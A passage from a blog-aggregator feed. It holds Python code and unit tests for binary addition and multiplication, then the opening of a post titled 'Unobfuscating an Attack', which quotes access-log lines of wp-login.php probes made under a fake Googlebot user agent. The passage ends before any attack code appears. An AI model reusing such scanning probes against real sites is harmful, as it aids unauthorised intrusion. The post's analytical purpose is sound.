    result = &lt;span&gt;&amp;#40;&lt;/span&gt;result + &lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;carry&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
    &lt;span&gt;try&lt;/span&gt;:
        &lt;span&gt;return&lt;/span&gt; result&lt;span&gt;&amp;#91;&lt;/span&gt;result.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
    &lt;span&gt;except&lt;/span&gt; &lt;span&gt;ValueError&lt;/span&gt;, ex:
        &lt;span&gt;return&lt;/span&gt; &lt;span&gt;'0'&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3&gt;Unit Test:&lt;/h3&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Unit test for binary_addition.py&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;unittest&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; binary_addition &lt;span&gt;import&lt;/span&gt; binary_addition
&amp;nbsp;
&lt;span&gt;class&lt;/span&gt; TestBinaryAddition&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;TestCase&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Comparing python binary addition against our own&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_same_length&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Adding 2 binary numbers of the same length&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'001001101'&lt;/span&gt;
        bin_b = &lt;span&gt;'011011010'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_additions&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_b_larger&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot; B has more digits than A &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'01000101'&lt;/span&gt;
        bin_b = &lt;span&gt;'1110010110101011101101011101000101'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_additions&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_b_smaller&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;B has less digits than A&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
        bin_a = &lt;span&gt;'1110001001001001001101101011000101'&lt;/span&gt;
        bin_b = &lt;span&gt;'0110010'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_additions&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; _compare_additions&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;, bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Compares the python implementation against ours&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_add = binary_addition&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
        py_add = bin&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0b%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; bin_a&lt;span&gt;&amp;#41;&lt;/span&gt; + &lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0b%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
        algo_res = bin_add&lt;span&gt;&amp;#91;&lt;/span&gt;bin_add.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
        py_res = py_add&lt;span&gt;&amp;#91;&lt;/span&gt;py_add.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;assertEqual&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;py_res, algo_res&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;if&lt;/span&gt; &lt;span&gt;'__main__'&lt;/span&gt; == __name__:
    &lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;main&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2&gt;Binary Multiplication&lt;/h2&gt;
&lt;p&gt;We are still using strings to represent bit sequences. We are still working from right to left, shifting to the left every number from the first number that needs to be multiplied by 1 in the second number. We then append the result to a list that we sum at the end, using the previous algorithm.&lt;/p&gt;
&lt;h3&gt;Code:&lt;/h3&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Simple Binary multiplication algorithm&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;sys&lt;/span&gt;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;os&lt;/span&gt;.&lt;span&gt;path&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;from&lt;/span&gt; binary_addition &lt;span&gt;import&lt;/span&gt; binary_addition
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;def&lt;/span&gt; binary_multiplication&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Multiplies two binary numbers by using python lists to
    easily shift digits around&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    temp_result = &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;
    result = &lt;span&gt;&amp;quot;0&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;# Remove any unnecessary padding&lt;/span&gt;
    bin_a = bin_a&lt;span&gt;&amp;#91;&lt;/span&gt;bin_a.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
    bin_b = bin_b&lt;span&gt;&amp;#91;&lt;/span&gt;bin_b.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;, &lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#91;&lt;/span&gt;::-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt;:
        &lt;span&gt;if&lt;/span&gt; bin_b&lt;span&gt;&amp;#91;&lt;/span&gt;i&lt;span&gt;&amp;#93;&lt;/span&gt; == &lt;span&gt;'1'&lt;/span&gt;:
            temp_result.&lt;span&gt;append&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;%s%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, &lt;span&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;-i-&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
        &lt;span&gt;else&lt;/span&gt;:
            temp_result.&lt;span&gt;append&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
    &lt;span&gt;for&lt;/span&gt; val &lt;span&gt;in&lt;/span&gt; temp_result:
        result = binary_addition&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;result&lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;str&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;val&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;return&lt;/span&gt; result&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3&gt;Unit Test:&lt;/h3&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Unit test for binary_addition.py&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
&lt;span&gt;import&lt;/span&gt; &lt;span&gt;unittest&lt;/span&gt;
&lt;span&gt;from&lt;/span&gt; binary_multiplication &lt;span&gt;import&lt;/span&gt; binary_multiplication
&amp;nbsp;
&lt;span&gt;class&lt;/span&gt; TestBinaryAddition&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;TestCase&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Comparing python binary multiplication against our own&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_same_length&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Multiplying 2 binary numbers of the same length&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'001001101'&lt;/span&gt;
        bin_b = &lt;span&gt;'011011010'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_simple&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Multiplying 2 simple binary numbers&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
        bin_a = &lt;span&gt;'110'&lt;/span&gt;
        bin_b = &lt;span&gt;'101'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_b_larger&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;B has more digits than A&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'010'&lt;/span&gt;
        bin_b = &lt;span&gt;'111001011000101'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; test_add_b_smaller&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot; B has less digits than A &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_a = &lt;span&gt;'111001011000101'&lt;/span&gt;
        bin_b = &lt;span&gt;'010'&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;._compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    &lt;span&gt;def&lt;/span&gt; _compare_multiplications&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;self&lt;/span&gt;, bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;:
&amp;nbsp;
        &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;Compares the python implementation against ours&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&amp;nbsp;
        bin_mult = binary_multiplication&lt;span&gt;&amp;#40;&lt;/span&gt;bin_a, bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;
        py_mult = bin&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0b%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; bin_a&lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;*&lt;/span&gt; &lt;span&gt;eval&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;0b%s&amp;quot;&lt;/span&gt; &lt;span&gt;%&lt;/span&gt; bin_b&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
        algo_res = bin_mult&lt;span&gt;&amp;#91;&lt;/span&gt;bin_mult.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
        py_res = py_mult&lt;span&gt;&amp;#91;&lt;/span&gt;py_mult.&lt;span&gt;index&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;'1'&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;:&lt;span&gt;&amp;#93;&lt;/span&gt;
&amp;nbsp;
        &lt;span&gt;self&lt;/span&gt;.&lt;span&gt;assertEqual&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;py_res, algo_res&lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
&amp;nbsp;
&amp;nbsp;
&lt;span&gt;if&lt;/span&gt; &lt;span&gt;'__main__'&lt;/span&gt; == __name__:
    &lt;span&gt;unittest&lt;/span&gt;.&lt;span&gt;main&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a class=&quot;a2a_button_reddit&quot; href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_delicious&quot; href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_google_bookmarks&quot; href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_facebook&quot; href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_stumbleupon&quot; href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_linkedin&quot; href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_twitter&quot; href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;linkname=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.madpython.com%2F2010%2F07%2F17%2Falgorithms-in-python-binary-operations%2F&amp;amp;title=Algorithms%20in%20Python%3A%20Binary%20Operations&quot; id=&quot;wpa2a_8&quot;&gt;Share&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Related posts:&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/08/07/algorithms-in-python-binary-exponentiation/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Binary exponentiation&quot;&gt;Algorithms in Python: Binary exponentiation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/07/10/algorithms-in-python-base-expansion/&quot; rel=&quot;bookmark&quot; title=&quot;Algorithms in Python: Base Expansion&quot;&gt;Algorithms in Python: Base Expansion&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.madpython.com/2010/10/17/fuzzy-mathematics-with-fuzzpy-part-1/&quot; rel=&quot;bookmark&quot; title=&quot;Fuzzy Mathematics with FuzzPy (Part 1)&quot;&gt;Fuzzy Mathematics with FuzzPy (Part 1)&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2012-02-06T10:00:05+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Unobfuscating an Attack</title>
		<link href="http://alanp.ca/blog/2010/07/13/unobfuscating-an-attack/"/>
		<id>http://alanp.ca/blog/?p=145</id>
		<updated>2010-07-13T13:20:33+00:00</updated>
		<content type="html">&lt;p&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Falanp.ca%2Fblog%2F2010%2F07%2F13%2Funobfuscating-an-attack%2F&amp;amp;title=Unobfuscating%20an%20Attack&quot; id=&quot;wpa2a_10&quot;&gt;&lt;img src=&quot;http://alanp.ca/blog/wp-content/plugins/add-to-any/share_save_171_16.png&quot; width=&quot;171&quot; height=&quot;16&quot; alt=&quot;Share&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;img class=&quot;alignleft size-full wp-image-190&quot; title=&quot;Chomp Chomp, Hackers be biting your computar.&quot; src=&quot;http://alanp.ca/blog/wp-content/uploads/2010/07/chomp.png&quot; alt=&quot;&quot; width=&quot;48&quot; height=&quot;48&quot; /&gt;Having experienced some &amp;#8216;weird&amp;#8217; traffic the other day, a client contacted me regarding this problem.  One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;c&quot;&gt;access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;03&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;03&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /old/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
access.&lt;span&gt;log&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;xxx.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt;.&lt;span&gt;xxx&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;-&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt;&lt;span&gt;01&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;Jul&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2010&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;12&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt;04&lt;/span&gt; &lt;span&gt;+&lt;/span&gt;&lt;span&gt;0000&lt;/span&gt;&lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;quot;GET /cms/wp-login.php HTTP/1.1&amp;quot;&lt;/span&gt; &lt;span&gt;404&lt;/span&gt; &lt;span&gt;2533&lt;/span&gt; &lt;span&gt;&amp;quot;-&amp;quot;&lt;/span&gt; &lt;span&gt;&amp;quot;Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)&amp;quot;&lt;/span&gt;
